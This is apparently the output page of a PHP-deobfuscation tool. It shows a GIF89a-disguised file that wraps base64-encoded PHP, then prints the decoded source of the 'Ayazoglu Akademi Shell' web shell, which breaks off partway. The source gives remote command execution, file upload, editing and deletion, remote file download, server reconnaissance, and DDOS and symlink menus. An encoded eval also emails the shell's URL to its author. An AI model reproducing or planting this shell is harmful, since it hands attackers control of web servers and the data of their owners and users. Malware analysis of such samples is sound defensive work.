Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a1 <?php eval("?>".base64_decode("PD8gLyoqDQogKiBAYXV0aG9yIEF5YXpvZ2x1DQogKiBAY29weX..

Decoded Output download

?>b'<? /**
 * @author Ayazoglu
 * @copyright 2012
 */
@define(\'VERSION\',\'1.0\');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$host = $_SERVER[\'HTTP_HOST\'];
if(get_magic_quotes_gpc()) {
	function madstripslashes($array) {
		return is_array($array) ? array_map(\'madstripslashes\', $array) : stripslashes($array);
	}
	$_POST = madstripslashes($_POST);
}
$uri = \'http://\'.$host.\'\'.$_SERVER[\'REQUEST_URI\'].\'\';
if(!$_SESSION[\'qwerty\']){
eval(base64_decode("QG1haWwoImhleDFuZ2dAZ21haWwuY29tIiwiQWthZGVtaSBTaGVsbCIsJHVyaSk7=="));
$_SESSION[\'qwerty\']=1;
}
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
if (strtolower(substr(PHP_OS,0,3))=="win")
    $sys=\'win\';
 else
    $sys=\'unix\';
    
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
	@chdir($_POST[\'c\']);   
    
$cwd = @getcwd();
if($sys == \'win\') 
{
    $home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}

if($cwd[strlen($cwd)-1] != \'/\' )
	$cwd .= \'/\';
    
    
function madEx($in) {
	$out = \'\';
	if (function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
$down=@getcwd();
if($sys=="win")
$down.=\'\\';
else
$down.=\'/\';
if(isset($_POST[\'rtdown\']))
{
$url = $_POST[\'rtdown\'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
  $newf = fopen ($newfname, "wb");
  if ($newf)
  while(!feof($file)) {
    fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  }
  }

if ($file) {
  fclose($file);
}
if ($newf) {
  fclose($newf);
}
}

    
 
 function madhead()
 {
    if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
 
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;        
    
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";   
if(function_exists(\'curl_version\'))
    $curl=$on;
else
    $curl=$of;
if(function_exists(\'mysql_get_client_info\'))
    $mysql=$on;
 else
    $mysql=$of;      
if(function_exists(\'mssql_connect\'))
    $mssql=$on;
else
   $mssql=$of; 
		
if(function_exists(\'pg_connect\'))
    $pg=$on;
else
   $pg=$of;    		
if(function_exists(\'oci_connect\'))
   $or=$on;
else
   $or=$of;
if(@ini_get(\'disable_functions\'))
  $disfun=@ini_get(\'disable_functions\');
else
$disfun="All Functions Enable";
if(@ini_get(\'safe_mode\'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get(\'open_basedir\'))
$open_b=@ini_get(\'open_basedir\');
    else
  $open_b=$none;
    

if(@ini_get(\'safe_mode_exec_dir\'))
$safe_exe=@ini_get(\'safe_mode_exec_dir\');
    else
$safe_exe=$none;
if(@ini_get(\'safe_mode_include_dir\'))
   $safe_include=@ini_get(\'safe_mode_include_dir\'); 
else
 $safe_include=$none;
if(!function_exists(\'posix_getegid\')) 
{
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
} else 
{
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}


     $cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a  href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}

$drives = "";
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';





 echo \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="http://www.ayazoglu.org/favicon.ico" rel="icon" type="image/x-icon"/>
<title>Ayazoglu Akademi Shell v1.2</title>
<style type="text/css">
<!--
.whole {
	background-color: #CCC;
	height:auto;
	width: auto;
	margin-top: 10px;
	margin-right: 10px;
	margin-left: 10px;
}
.header {
	height: auto;
	width: auto;
	border: 7px solid #CCC;
	color: #999;
	font-size: 12px;
	font-family: Verdana, Geneva, sans-serif;
	background-color: #000;
}
.header a {color:#0F0; text-decoration:none;}
span {
	font-weight: bolder;
	color: #FFF;
}
#meunlist {
	font-family: Verdana, Geneva, sans-serif;
	color: #FFF;
	background-color: #000;
	width: auto;
	border-right-width: 7px;
	border-left-width: 7px;
	border-top-style: solid;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: solid;
	border-top-color: #CCC;
	border-right-color: #CCC;
	border-bottom-color: #CCC;
	border-left-color: #CCC;
	height: auto;
	font-size: 12px;
	font-weight: bold;
	border-top-width: 0px;
}
  .whole #meunlist ul {
	padding-top: 5px;
	padding-right: 5px;
	padding-bottom: 7px;
	padding-left: 2px;
	text-align:center;
	list-style-type: none;
	margin: 0px;
}
  .whole #meunlist li {
	margin: 0px;
	padding: 0px;
	display: inline;
}
  .whole #meunlist a {
    font-family: arial, sans-serif;
	font-size: 14px;
	text-decoration:none;
	font-weight: bold;
	color: #fff;
	clear: both;
	width: 100px;
	margin-right: -6px;
	padding-top: 3px;
	padding-right: 15px;
	padding-bottom: 3px;
	padding-left: 15px;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #FFF;
}
  .whole #meunlist a:hover {
	color: #000;
	background: #fff;
}

.foot {
	font-family: Verdana, Geneva, sans-serif;
	background-color: #000;
	margin: 0px;
	padding: 0px;
	width: 100%;
	text-align: center;
	font-size: 12px;
	color: #CCC;
	border-right-width: 7px;
	border-left-width: 7px;
    border-bottom-width: 7px;
    border-bottom-style: solid;
    border-right-style: solid;
    border-right-style: solid;
	border-left-style: solid;
	border-top-color: #CCC;
	border-right-color: #CCC;
	border-bottom-color: #CCC;
	border-left-color: #CCC;
}\';
if(is_writable($GLOBALS[\'cwd\']))
 {
    echo ".foottable {
    width: 300px;
    font-weight: bold;
    }";}
    else
    {
       echo ".foottable {
    width: 300px;
    font-weight: bold;
    background-color:red;
    }
    .dir {
      background-color:red;  
    }
    "; 
    }    
 echo \'.main th{text-align:left;}
 .main a{color: #FFF;}
 .main tr:hover{background-color:red;}
 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 .bigarea{ width:99%; height:300px; }   
  </style>

\';

echo "<script>
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}</script>";

    
	echo \'
</head>

<body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
  <div class="header"><table width="100%" border="0"  align="lift">
  <tr>
    <td width="3%"><span>Uname:</span></td>
    <td colspan="2">\'.substr(@php_uname(), 0, 120).\'</td>
    </tr>
  <tr>
    <td><span>User:</span></td>
    <td>\'. $uid . \' [ \' . $user . \' ] <span>   Group: </span>\' . $gid . \' [ \' . $group . \' ] </td>
    <td width="14%" rowspan="8"></td>
	</tr>
  <tr>
    <td><span>PHP:</span></td>
    <td>\'.@phpversion(). \'   <span>   Safe Mode:\'.$safe_modes.\'</span></td>
    </tr>
  <tr>
    <td><span>Our IP:</span></td>
    <td>\'.@$_SERVER["SERVER_ADDR"].\'    <span>Server IP:</span> \'.@$_SERVER["REMOTE_ADDR"].\'</td>
  </tr>
  <tr>
    <td><span>WEBS:</span></td>
    <td width="76%">\';
    
    if($GLOBALS[\'sys\']==\'unix\')
    {
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains)
        {
            echo "CANT READ named.conf";
        }
        else
        {
          $count;  
         foreach($d0mains as $d0main)
         {
          if(@ereg("zone",$d0main))
          {
          preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
           flush();
          if(strlen(trim($domains[1][0])) > 2){
         flush();
         $count++;
           } 
           }
           }
           echo "$count  Domains";
        }
    }
    else{ echo"CANT READ |Windows|";}
    
      echo \'</td>
    </tr>
    <tr>
    <td height="16"><span>HDD:</span></td>
    <td>\'.madSize($totalSpace).\' <span>Free:</span>\' . madSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</td>
    </tr>\';
  
     if($GLOBALS[\'sys\']==\'unix\' )
{
    if(!@ini_get(\'safe_mode\'))
    {
    
    echo \'<tr><td height="18" colspan="2"><span>Useful : </span>\';
    $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
     foreach($userful as $item)
         if(madWhich($item))
         echo $item.\',\';
         echo \'</td>
         </tr>
          <tr>
          <td height="0" colspan="2"><span>Downloader:</span>\';
         
     $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
      foreach($downloaders as $item2)
       if(madWhich($item2))
        echo $item2.\',\';
        echo \'</td>
              </tr>\';
         
          }
           else 
           {
         echo \'<tr><td height="18" colspan="2"><span>useful:</span>\'; 
         echo \'--------------</td>
           </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
              </tr>\';  
         }
}
else
{
   echo \'<tr><td height="18" colspan="2"><span>Window:</span>\';
   echo madEx(\'ver\');
   echo \'</td>
         </tr> <tr>
        <td height="0" colspan="2"><span>Downloader: </span>-------------</td>
              </tr>\'; 
    
}  
    
 
 echo \'<tr>
    <td height="16" colspan="2"><span>Disabled functions:</span>\'.$disfun.\'</td>
  </tr>
  <tr>
    <td height="16" colspan="2"><span>cURL:\'.$curl.\'  MySQL:\'.$mysql.\'  MSSQL:\'.$mssql.\'  PostgreSQL:\'.$pg.\'  Oracle: </span>\'.$or.\'</td><td width="15%"></td>
  </tr>
  <tr>
  <td height="11" colspan="3"><span>Open_basedir:\'.$open_b.\' Safe_mode_exec_dir:\'.$safe_exe.\'   Safe_mode_include_dir:\'.$safe_include.\'</td>
  </tr>
  <tr>
    <td height="11"><span>Server </span></td>
    <td colspan="2">\'.@getenv(\'SERVER_SOFTWARE\').\'</td>
  </tr>\';
  if($GLOBALS[sys]=="win")
  {
    echo \'<tr>
    <td height="12"><span>DRIVE:</span></td>
    <td colspan="2">\'.$drives.\'</td>
     </tr>\';
  }
  
  echo \'<tr>
    <td height="12"><span>PWD:</span></td>
    <td colspan="2">\'.$cwd_links.\'  <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
  </tr>
  </table>
</div>
 <div id="meunlist">
      <ul>
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>

<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">AYAZOGLU</a></li>
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
</ul>
    
    </div>
\';   
    
}

function madfooter()
{
    
    echo "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >
       <tr>
         <td width=\'17%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>__MK FILE__</span><br><input class=\'dir\'  type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
         <td width=\'21%\'><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>__MK DIR__</span><br><input class=\'dir\' type=text name=d value=\'\'><input type=submit value=\'>>\'></form></td>
         <td width=\'22%\'><form onsubmit=\"g(\'FilesMan\',null,\'delete\',this.del.value);return false;\"><span>__DELETE__</span><br><input class=\'dir\' type=text name=del value=\'\'><input type=submit value=\'>>\'></form></td>
         <td width=\'19%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'chmod\');return false;\"><span>__CHMOD__</span><br><input class=\'dir\' type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
       </tr>
       <tr>
         <td colspan=\'2\'><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>__CHANGE DIR__</span><br><input class=\'foottable\' type=text name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'><input type=submit value=\'>>\'></form></td>
         <td colspan=\'2\'><form method=\'post\' ><span>__HTTP DOWNLOAD__</span><br><input class=\'foottable\' type=text name=rtdown value=\'\'><input type=submit value=\'>>\'></form></td>
        </tr>
       <tr>
         <td colspan=\'4\'><form onsubmit=\"g(\'proc\',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class=\'foottable\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
        </tr>
       <tr>
         <td colspan=\'4\'><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
        <span>Upload file:</span><br><input class=\'toolsInp\' type=file name=f><br /><input type=submit value=\'>>\'></form></td>
        </tr> 
      </table>
  </div>
  </body>
</html>
";
    
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {
   function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {
  function posix_getgrgid($p) {return false;} }

function madWhich($p) {
	$path = madEx(\'which \' . $p);
	if(!empty($path))
		return $path;
	return false;
}



function madSize($s) {
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}


function madPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}
function madPermsColor($f) {
	if (!@is_readable($f))
		return \'<font color=#FF0000>\' . madPerms(@fileperms($f)) . \'</font>\';
	elseif (!@is_writable($f))
		return \'<font color=white>\' . madPerms(@fileperms($f)) . \'</font>\';
	else
		return \'<font color=#25ff00>\' . madPerms(@fileperms($f)) . \'</font>\';
}

if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}


function madFilesMan() {
	madhead();
    echo \'<div class=header><script>p1_=p2_=p3_="";</script>\';
	if(!empty($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
					echo "Can\'t upload file!";
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_dir(@$_POST[\'p2\']))
				deleteDir(@$_POST[\'p2\']);
				else
				@unlink(@$_POST[\'p2\']);
				break;
		default:
                if(!empty($_POST[\'p1\'])) {
					$_SESSION[\'act\'] = @$_POST[\'p1\'];
					$_SESSION[\'f\'] = @$_POST[\'f\'];
					foreach($_SESSION[\'f\'] as $k => $f)
						$_SESSION[\'f\'][$k] = urldecode($f);
					$_SESSION[\'c\'] = @$_POST[\'c\'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'<h3><span>|  Access Denied! |</span></h3></div>\';madFooter(); return; }
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'  >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
					 \'perms\' => madPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
		elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\' . $f[\'link\'] . \'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?madSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
			.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \'\'.urlencode($f[\'name\']).\'\')"> X </a></td></tr>\';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
	<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
	</form></table></div>";

	
    madfooter();
 }
    
  function madFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	
   madhead();
	echo \'<div class=header>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo "<pre class=ml1 style=\'margin-top:5px\'>FILE DOEST NOT EXITS </pre></div>";
		madFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	if(!$uid) {
		$uid[\'name\'] = @fileowner($_POST[\'p1\']);
		$gid[\'name\'] = @filegroup($_POST[\'p1\']);
	} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
	echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?madSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.madPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a  href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')"><span>\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b><span> \'.$v.\' </span> </b>\':$v).\' </span></a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( @is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
				$code = @highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				$time = @filemtime($_POST[\'p1\']);
				$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
				$fp = @fopen($_POST[\'p1\'],"w");
				if($fp) {
					@fwrite($fp,$_POST[\'p3\']);
					@fclose($fp);
					echo \'Saved!<br><script>p3_="";</script>\';
					@touch($_POST[\'p1\'],$time,$time);
				}
			}
			echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value=">>"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
